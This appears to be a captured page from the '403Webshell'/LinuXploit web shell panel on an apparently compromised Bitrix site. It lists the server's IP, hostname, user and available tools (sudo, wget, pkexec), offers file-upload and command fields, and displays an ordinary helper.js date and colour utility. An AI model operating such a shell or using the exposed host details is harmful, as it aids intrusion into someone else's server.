403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/bizproc/debugger/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/bizproc/debugger/src/helper.js
import {Loc, Text, Type} from 'main.core';
import {DateTimeFormat} from 'main.date';
import {Operator} from "bizproc.condition";

export class Helper
{
	/** Finds whether a variable is a number or a numeric string */
	static isNumeric(num: string | number): boolean
	{
		if (Type.isNumber(num))
		{
			return true;
		}

		if (!Type.isStringFilled(num))
		{
			return false;
		}

		return (Number(num).toString() === num.trim());
	}

	/** Checks whether the variable is a date or a timestamp */
	static isDate(date: string | Date): boolean
	{
		if (Type.isDate(date))
		{
			return true;
		}

		if (!Helper.isNumeric(date))
		{
			return false;
		}

		return (new Date(Number(date)).getTime() === Number(date));
	}

	/** Convert date from DataBase to date in JS */
	static convertDateFromDB(date: string | number): ?Date
	{
		if (!Helper.isNumeric(date))
		{
			return null;
		}

		return new Date(date * 1000);
	}

	/** if the variable is a date or a timestamp return Date, else null  */
	static toDate(date: string | Date): ?Date
	{
		if (DateTimeFormat.parse(date))
		{
			return DateTimeFormat.parse(date, false);
		}

		if (Date.parse(date))
		{
			return new Date(date);
		}

		if (!Helper.isDate(date))
		{
			return null;
		}

		if (Type.isDate(date))
		{
			return date;
		}

		return Helper.convertDateFromDB(date);
	}

	/** formats the date */
	static formatDate(format: string, date: Date): string
	{
		if (!Type.isStringFilled(format))
		{
			format = 'j F Y H:i:s';
		}

		return DateTimeFormat.format(format, date);
	}

	/** return condition operators label */
	static getOperatorsLabel(): object
	{
		return Operator.getAllLabels();
	}

	/** return condition operator label */
	static getOperatorLabel(operator: string): string
	{
		return Operator.getOperatorLabel([operator]);
	}

	/** return joiner label */
	static getJoinerLabel(joiner: string): string
	{
		const joiners = {
			'AND': Loc.getMessage('BIZPROC_JS_DEBUGGER_LOG_CONDITION_AND'),
			'OR': Loc.getMessage('BIZPROC_JS_DEBUGGER_LOG_CONDITION_OR'),
		};

		return joiners[joiner];
	}

	static getColorBrightness(bgColor: string): number
	{
		if (bgColor[0] === '#')
		{
			bgColor = bgColor.replace('#', '');
		}

		const bigint = parseInt(bgColor, 16);
		const r = (bigint >> 16) & 255;
		const g = (bigint >> 8) & 255;
		const b = bigint & 255;

		return 0.21 * r + 0.72 * g + 0.07 * b;
	}

	static getBgColorAdditionalClass(bgColor: string): boolean
	{
		const brightness = Helper.getColorBrightness(bgColor);
		if (brightness > 224)
		{
			return '--with-border --light-color';
		}

		if (brightness > 145)
		{
			return '--light-color';
		}

		return '';
	}

	static toHtml(text): string
	{
		return Text.encode(text || '')
			.replace(/\[(\/)?b\]/ig, '<$1b>')
		;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit